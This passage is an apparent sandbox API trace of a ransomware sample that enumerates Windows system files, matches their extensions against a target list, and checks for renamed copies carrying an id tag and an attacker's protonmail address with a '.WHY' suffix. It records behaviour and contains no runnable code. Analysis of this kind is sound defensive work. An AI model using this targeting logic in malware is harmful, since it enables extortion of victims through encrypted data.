lpString2="mui") returned -1 [0207.904] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0207.904] lstrlenW (lpString=".dbf") returned 4 [0207.904] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0207.904] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0207.904] lstrlenW (lpString=".1cd") returned 4 [0207.904] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0207.904] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0207.905] lstrlenW (lpString=".jpg") returned 4 [0207.905] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0207.905] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0207.905] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0207.905] lstrlenW (lpString=".doc") returned 4 [0207.905] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0207.905] lstrlenW (lpString=".docx") returned 5 [0207.905] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0207.905] lstrlenW (lpString=".pdf") returned 4 [0207.905] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0207.905] lstrlenW (lpString=".xls") returned 4 [0207.905] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0207.905] lstrlenW (lpString=".xlsx") returned 5 [0207.905] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0207.905] lstrlenW (lpString=".ppt") returned 4 [0207.906] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0207.906] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0207.906] lstrlenW (lpString=".zip") returned 4 [0207.906] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0207.906] lstrlenW (lpString=".rar") returned 4 [0207.906] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0207.906] lstrlenW (lpString=".bz2") returned 4 [0207.906] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0207.906] lstrlenW (lpString=".7z") returned 3 [0207.906] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0207.906] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0207.906] lstrlenW (lpString=".dbf") returned 4 [0207.906] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0207.906] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0207.906] lstrlenW (lpString=".1cd") returned 4 [0207.906] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0207.907] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0207.907] lstrlenW (lpString=".jpg") returned 4 [0207.907] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0207.907] lstrcmpiW (lpString1=".mui", lpString2=".WHY") returned -1 [0207.907] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0207.907] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x260 [0207.908] GetFileSizeEx (in: hFile=0x260, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=94800) returned 1 [0207.908] CloseHandle (hObject=0x260) returned 1 [0207.908] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0207.908] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0207.908] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.908] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0207.908] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0207.908] lstrlenW (lpString=".doc") returned 4 [0207.908] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0207.909] lstrlenW (lpString=".docx") returned 5 [0207.909] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0207.909] lstrlenW (lpString=".pdf") returned 4 [0207.909] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0207.909] lstrlenW (lpString=".xls") returned 4 [0207.909] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0207.909] lstrlenW (lpString=".xlsx") returned 5 [0207.909] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0207.909] lstrlenW (lpString=".ppt") returned 4 [0207.909] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0207.909] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0207.909] lstrlenW (lpString=".zip") returned 4 [0207.909] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0207.909] lstrlenW (lpString=".rar") returned 4 [0207.910] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0207.910] lstrlenW (lpString=".bz2") returned 4 [0207.910] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0207.910] lstrlenW (lpString=".7z") returned 3 [0207.910] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0208.088] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0213.723] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=712592) returned 1 [0213.723] CloseHandle (hObject=0x2d0) returned 1 [0213.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt")) returned 0x20 [0213.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0213.724] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0213.725] lstrcmpiW (lpString1=".FLT", lpString2=".WHY") returned -1 [0213.738] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=241024) returned 1 [0213.738] CloseHandle (hObject=0x2d0) returned 1 [0213.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt")) returned 0x20 [0213.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0213.739] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0213.742] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=1908) returned 1 [0213.742] CloseHandle (hObject=0x2d0) returned 1 [0213.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm")) returned 0x20 [0213.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0213.743] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0213.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0213.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0213.745] lstrlenW (lpString=".doc") returned 4 [0213.745] lstrcmpiW (lpString1=".doc", lpString2=".CGM") returned 1 [0213.745] lstrlenW (lpString=".docx") returned 5 [0213.746] lstrcmpiW (lpString1=".docx", lpString2="S.CGM") returned -1 [0213.746] lstrlenW (lpString=".pdf") returned 4 [0213.746] lstrcmpiW (lpString1=".pdf", lpString2=".CGM") returned 1 [0213.746] lstrlenW (lpString=".xls") returned 4 [0213.746] lstrcmpiW (lpString1=".xls", lpString2=".CGM") returned 1 [0213.747] lstrlenW (lpString=".xlsx") returned 5 [0213.747] lstrcmpiW (lpString1=".xlsx", lpString2="S.CGM") returned -1 [0213.747] lstrlenW (lpString=".ppt") returned 4 [0213.747] lstrcmpiW (lpString1=".ppt", lpString2=".CGM") returned 1 [0213.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0213.748] lstrlenW (lpString=".zip") returned 4 [0213.748] lstrcmpiW (lpString1=".zip", lpString2=".CGM") returned 1 [0213.748] lstrlenW (lpString=".rar") returned 4 [0213.748] lstrcmpiW (lpString1=".rar", lpString2=".CGM") returned 1 [0213.748] lstrlenW (lpString=".bz2") returned 4 [0213.749] lstrcmpiW (lpString1=".bz2", lpString2=".CGM") returned -1 [0213.749] lstrlenW (lpString=".7z") returned 3 [0213.749] lstrcmpiW (lpString1=".7z", lpString2="CGM") returned -1 [0213.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0213.749] lstrlenW (lpString=".dbf") returned 4 [0213.749] lstrcmpiW (lpString1=".dbf", lpString2=".CGM") returned 1 [0213.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0213.749] lstrlenW (lpString=".1cd") returned 4 [0213.749] lstrcmpiW (lpString1=".1cd", lpString2=".CGM") returned -1 [0213.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0213.750] lstrlenW (lpString=".jpg") returned 4 [0213.750] lstrcmpiW (lpString1=".jpg", lpString2=".CGM") returned 1 [0213.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0213.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0213.750] lstrlenW (lpString=".doc") returned 4 [0213.750] lstrcmpiW (lpString1=".doc", lpString2=".CGM") returned 1 [0213.751] lstrlenW (lpString=".docx") returned 5 [0213.751] lstrcmpiW (lpString1=".docx", lpString2="S.CGM") returned -1 [0213.751] lstrlenW (lpString=".pdf") returned 4 [0213.751] lstrcmpiW (lpString1=".pdf", lpString2=".CGM") returned 1 [0213.751] lstrlenW (lpString=".xls") returned 4 [0213.751] lstrcmpiW (lpString1=".xls", lpString2=".CGM") returned 1 [0213.751] lstrlenW (lpString=".xlsx") returned 5 [0213.751] lstrcmpiW (lpString1=".xlsx", lpString2="S.CGM") returned -1 [0213.751] lstrlenW (lpString=".ppt") returned 4 [0213.752] lstrcmpiW (lpString1=".ppt", lpString2=".CGM") returned 1 [0213.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0213.752] lstrlenW (lpString=".zip") returned 4 [0213.752] lstrcmpiW (lpString1=".zip", lpString2=".CGM") returned 1 [0213.752] lstrlenW (lpString=".rar") returned 4 [0213.754] lstrcmpiW (lpString1=".rar", lpString2=".CGM") returned 1 [0213.754] lstrlenW (lpString=".bz2") returned 4 [0213.754] lstrcmpiW (lpString1=".bz2", lpString2=".CGM") returned -1 [0213.754] lstrlenW (lpString=".7z") returned 3 [0213.755] lstrcmpiW (lpString1=".7z", lpString2="CGM") returned -1 [0213.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0213.755] lstrlenW (lpString=".dbf") returned 4 [0213.755] lstrcmpiW (lpString1=".dbf", lpString2=".CGM") returned 1 [0213.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0213.755] lstrlenW (lpString=".1cd") returned 4 [0213.755] lstrcmpiW (lpString1=".1cd", lpString2=".CGM") returned -1 [0213.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0213.755] lstrlenW (lpString=".jpg") returned 4 [0213.755] lstrcmpiW (lpString1=".jpg", lpString2=".CGM") returned 1 [0213.756] lstrcmpiW (lpString1=".WPG", lpString2=".WHY") returned 1 [0213.756] lstrlenW (lpString="MS.WPG") returned 6 [0213.757] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0213.758] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=1382) returned 1 [0213.758] CloseHandle (hObject=0x2d0) returned 1 [0213.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg")) returned 0x20 [0213.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0213.759] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0213.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0213.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0213.759] lstrlenW (lpString=".doc") returned 4 [0213.759] lstrcmpiW (lpString1=".doc", lpString2=".WPG") returned -1 [0213.760] lstrlenW (lpString=".docx") returned 5 [0213.760] lstrcmpiW (lpString1=".docx", lpString2="S.WPG") returned -1 [0213.760] lstrlenW (lpString=".pdf") returned 4 [0213.760] lstrcmpiW (lpString1=".pdf", lpString2=".WPG") returned -1 [0213.760] lstrlenW (lpString=".xls") returned 4 [0213.760] lstrcmpiW (lpString1=".xls", lpString2=".WPG") returned 1 [0213.760] lstrlenW (lpString=".xlsx") returned 5 [0213.760] lstrcmpiW (lpString1=".xlsx", lpString2="S.WPG") returned -1 [0213.760] lstrlenW (lpString=".ppt") returned 4 [0213.760] lstrcmpiW (lpString1=".ppt", lpString2=".WPG") returned -1 [0213.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0213.761] lstrlenW (lpString=".zip") returned 4 [0213.761] lstrcmpiW (lpString1=".zip", lpString2=".WPG") returned 1 [0213.761] lstrlenW (lpString=".rar") returned 4 [0213.761] lstrcmpiW (lpString1=".rar", lpString2=".WPG") returned -1 [0213.761] lstrlenW (lpString=".bz2") returned 4 [0213.761] lstrcmpiW (lpString1=".bz2", lpString2=".WPG") returned -1 [0213.761] lstrlenW (lpString=".7z") returned 3 [0213.761] lstrcmpiW (lpString1=".7z", lpString2="WPG") returned -1 [0213.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0213.761] lstrlenW (lpString=".dbf") returned 4 [0213.761] lstrcmpiW (lpString1=".dbf", lpString2=".WPG") returned -1 [0213.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0213.762] lstrlenW (lpString=".1cd") returned 4 [0213.762] lstrcmpiW (lpString1=".1cd", lpString2=".WPG") returned -1 [0213.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0213.762] lstrlenW (lpString=".jpg") returned 4 [0213.762] lstrcmpiW (lpString1=".jpg", lpString2=".WPG") returned -1 [0213.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0213.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0213.764] lstrlenW (lpString=".doc") returned 4 [0213.764] lstrcmpiW (lpString1=".doc", lpString2=".WPG") returned -1 [0213.764] lstrlenW (lpString=".docx") returned 5 [0213.765] lstrcmpiW (lpString1=".docx", lpString2="S.WPG") returned -1 [0213.765] lstrlenW (lpString=".pdf") returned 4 [0213.765] lstrcmpiW (lpString1=".pdf", lpString2=".WPG") returned -1 [0213.765] lstrlenW (lpString=".xls") returned 4 [0213.765] lstrcmpiW (lpString1=".xls", lpString2=".WPG") returned 1 [0213.765] lstrlenW (lpString=".xlsx") returned 5 [0213.765] lstrcmpiW (lpString1=".xlsx", lpString2="S.WPG") returned -1 [0213.765] lstrlenW (lpString=".ppt") returned 4 [0213.765] lstrcmpiW (lpString1=".ppt", lpString2=".WPG") returned -1 [0213.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0213.766] lstrlenW (lpString=".zip") returned 4 [0213.766] lstrcmpiW (lpString1=".zip", lpString2=".WPG") returned 1 [0213.766] lstrlenW (lpString=".rar") returned 4 [0213.766] lstrcmpiW (lpString1=".rar", lpString2=".WPG") returned -1 [0213.766] lstrlenW (lpString=".bz2") returned 4 [0213.766] lstrcmpiW (lpString1=".bz2", lpString2=".WPG") returned -1 [0214.609] lstrlenW (lpString=".7z") returned 3 [0214.609] lstrcmpiW (lpString1=".7z", lpString2="WPG") returned -1 [0214.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0214.609] lstrlenW (lpString=".dbf") returned 4 [0214.610] lstrcmpiW (lpString1=".dbf", lpString2=".WPG") returned -1 [0214.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0214.611] lstrlenW (lpString=".1cd") returned 4 [0214.612] lstrcmpiW (lpString1=".1cd", lpString2=".WPG") returned -1 [0214.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0214.612] lstrlenW (lpString=".jpg") returned 4 [0214.612] lstrcmpiW (lpString1=".jpg", lpString2=".WPG") returned -1 [0214.612] lstrcmpiW (lpString1=".FLT", lpString2=".WHY") returned -1 [0214.612] lstrlenW (lpString="PICTIM32.FLT") returned 12 [0214.612] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0215.275] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=73080) returned 1 [0215.275] CloseHandle (hObject=0x2d0) returned 1 [0215.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt")) returned 0x20 [0215.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0215.276] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0215.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0215.276] lstrlenW (lpString=".doc") returned 4 [0215.276] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0215.277] lstrlenW (lpString=".docx") returned 5 [0215.277] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0215.277] lstrlenW (lpString=".pdf") returned 4 [0215.277] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0215.277] lstrlenW (lpString=".xls") returned 4 [0215.277] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0215.277] lstrlenW (lpString=".xlsx") returned 5 [0215.277] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0215.277] lstrlenW (lpString=".ppt") returned 4 [0215.277] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0215.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0215.277] lstrlenW (lpString=".zip") returned 4 [0215.277] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0215.278] lstrlenW (lpString=".rar") returned 4 [0215.278] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0215.278] lstrlenW (lpString=".bz2") returned 4 [0215.278] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0215.278] lstrlenW (lpString=".7z") returned 3 [0215.278] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0215.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0215.278] lstrlenW (lpString=".dbf") returned 4 [0215.278] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0215.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0215.278] lstrlenW (lpString=".1cd") returned 4 [0215.279] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0215.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0215.279] lstrlenW (lpString=".jpg") returned 4 [0215.279] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0215.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0215.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0215.279] lstrlenW (lpString=".doc") returned 4 [0215.280] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0215.280] lstrlenW (lpString=".docx") returned 5 [0215.280] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0215.280] lstrlenW (lpString=".pdf") returned 4 [0215.280] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0215.280] lstrlenW (lpString=".xls") returned 4 [0215.280] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0215.282] lstrlenW (lpString=".xlsx") returned 5 [0215.282] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0215.282] lstrlenW (lpString=".ppt") returned 4 [0215.282] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0215.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0215.282] lstrlenW (lpString=".zip") returned 4 [0215.282] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0215.282] lstrlenW (lpString=".rar") returned 4 [0215.283] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0215.283] lstrlenW (lpString=".bz2") returned 4 [0215.283] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0215.283] lstrlenW (lpString=".7z") returned 3 [0215.283] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0215.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0215.283] lstrlenW (lpString=".dbf") returned 4 [0215.283] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0215.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0215.283] lstrlenW (lpString=".1cd") returned 4 [0215.283] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0215.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0215.284] lstrlenW (lpString=".jpg") returned 4 [0215.284] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0215.284] lstrcmpiW (lpString1=".dll", lpString2=".WHY") returned -1 [0215.284] lstrlenW (lpString="msitss55.dll") returned 12 [0215.284] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0215.855] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=430080) returned 1 [0215.855] CloseHandle (hObject=0x2d0) returned 1 [0215.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll")) returned 0x20 [0215.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0215.856] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\msitss55.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\msitss55.dll") returned 64 [0215.856] lstrlenW 